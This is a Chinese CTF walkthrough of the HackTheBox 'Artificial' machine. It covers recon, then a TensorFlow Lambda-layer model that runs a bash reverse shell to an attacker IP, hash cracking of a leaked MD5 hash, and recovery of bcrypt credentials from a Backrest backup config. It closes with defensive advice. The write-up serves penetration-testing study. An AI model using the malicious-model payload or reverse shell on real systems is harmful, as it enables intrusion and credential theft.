HTB Artificial 靶场:从AI模型的RCE到NAS备份系统提权
字数 1107 2025-09-01 11:26:17

HTB Artificial 靶场渗透测试教学文档

靶机概述

  • 名称:HTB Artificial
  • 难度:简单(但需要特定知识)
  • 操作系统:Ubuntu
  • 开放端口:22(SSH)、80(HTTP)
  • 关键知识点:TensorFlow RCE、Backrest备份系统提权

信息收集阶段

1. 基础扫描

nmap -sT --min-rate 10000 -p- 10.10.11.74 -oA nmapscan/ports
nmap -sT -Pn -sV -sC -O -p22,80 10.10.11.74

发现:

  • 域名:artificial.htb
  • 添加到hosts文件:
echo '10.10.11.74 artificial.htb' >> /etc/hosts

2. 子域名探测

gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://artificial.htb -t 30 --append-domain

(未发现有效子域名)

3. Web信息收集

使用whatweb和dirsearch工具:

dirsearch -u http://artificial.htb/ -e * -x 404

发现注册和登录页面

漏洞探测与利用

1. 网站功能分析

  • 在线AI业务平台
  • 可上传、管理和运行AI模型
  • 使用TensorFlow框架(2.13.1版本)

2. 环境准备

注意:TensorFlow最新版仅支持Python 3.12,Kali默认可能是Python 3.13

解决方案:

  1. 降级Python版本
  2. 或使用Docker构建环境:
docker build -t my-image .
docker run -it my-image

3. TensorFlow RCE漏洞利用

利用TensorFlow Lambda层的代码执行漏洞构建恶意模型:

import tensorflow as tf
import os

def exploit(x):
    import os
    os.system("/bin/bash -i >& /dev/tcp/10.10.14.78/4444 0>&1")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("model.h5")

步骤:

  1. 生成model.h5文件
  2. 在网站上传该模型
  3. 本地设置监听:
nc -lvnp 4444
  1. 点击在线预览触发反弹shell

4. 初步提权

  • 当前用户:app
  • 发现SQLite数据库:
sqlite3 users.db
.tables
select * from user;
  • 发现用户gael及其MD5哈希:c99175974b6e192936d97224638a34f8
  • 使用hashcat爆破:
hashcat -m 0 c99175974b6e192936d97224638a34f8 /usr/share/wordlists/rockyou.txt
  • 获得密码后SSH登录gael用户

权限提升

1. 初步检查

检查sudo、suid、crontab等常规提权方式无果

2. 使用linpeas收集信息

发现备份文件线索

3. 备份文件分析

  • 文件看似gzip压缩(.gz后缀),实际是tar文件
  • 正确解压方式:
tar xvf backup.tar
  • .config/backrest/config.json中发现账号密码
  • 密码经过Base64编码的Bcrypt哈希

4. 密码破解步骤

  1. Base64解码
  2. 使用john破解Bcrypt哈希:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
  1. 获得密码后提权

关键知识点总结

  1. TensorFlow RCE

    • Lambda层允许任意Python代码执行
    • 恶意模型可导致远程代码执行
  2. 密码破解技巧

    • 识别哈希类型(MD5、Bcrypt)
    • 多层编码处理(Base64+Bcrypt)
  3. 备份文件分析

    • 注意文件真实类型(file命令)
    • 配置文件中的敏感信息
  4. 环境适配

    • Python版本与库的兼容性问题
    • Docker作为替代解决方案

防御建议

  1. 对AI模型上传进行严格审查
  2. 避免在Lambda层执行危险操作
  3. 配置文件不应包含明文或弱加密密码
  4. 备份文件应妥善保护权限
  5. 使用强密码策略和加盐哈希
HTB Artificial 靶场渗透测试教学文档 靶机概述 名称:HTB Artificial 难度:简单(但需要特定知识) 操作系统:Ubuntu 开放端口:22(SSH)、80(HTTP) 关键知识点:TensorFlow RCE、Backrest备份系统提权 信息收集阶段 1. 基础扫描 发现: 域名:artificial.htb 添加到hosts文件: 2. 子域名探测 (未发现有效子域名) 3. Web信息收集 使用whatweb和dirsearch工具: 发现注册和登录页面 漏洞探测与利用 1. 网站功能分析 在线AI业务平台 可上传、管理和运行AI模型 使用TensorFlow框架(2.13.1版本) 2. 环境准备 注意 :TensorFlow最新版仅支持Python 3.12,Kali默认可能是Python 3.13 解决方案: 降级Python版本 或使用Docker构建环境: 3. TensorFlow RCE漏洞利用 利用TensorFlow Lambda层的代码执行漏洞构建恶意模型: 步骤: 生成model.h5文件 在网站上传该模型 本地设置监听: 点击在线预览触发反弹shell 4. 初步提权 当前用户:app 发现SQLite数据库: 发现用户gael及其MD5哈希: c99175974b6e192936d97224638a34f8 使用hashcat爆破: 获得密码后SSH登录gael用户 权限提升 1. 初步检查 检查sudo、suid、crontab等常规提权方式无果 2. 使用linpeas收集信息 发现备份文件线索 3. 备份文件分析 文件看似gzip压缩(.gz后缀),实际是tar文件 正确解压方式: 在 .config/backrest/config.json 中发现账号密码 密码经过Base64编码的Bcrypt哈希 4. 密码破解步骤 Base64解码 使用john破解Bcrypt哈希: 获得密码后提权 关键知识点总结 TensorFlow RCE : Lambda层允许任意Python代码执行 恶意模型可导致远程代码执行 密码破解技巧 : 识别哈希类型(MD5、Bcrypt) 多层编码处理(Base64+Bcrypt) 备份文件分析 : 注意文件真实类型(file命令) 配置文件中的敏感信息 环境适配 : Python版本与库的兼容性问题 Docker作为替代解决方案 防御建议 对AI模型上传进行严格审查 避免在Lambda层执行危险操作 配置文件不应包含明文或弱加密密码 备份文件应妥善保护权限 使用强密码策略和加盐哈希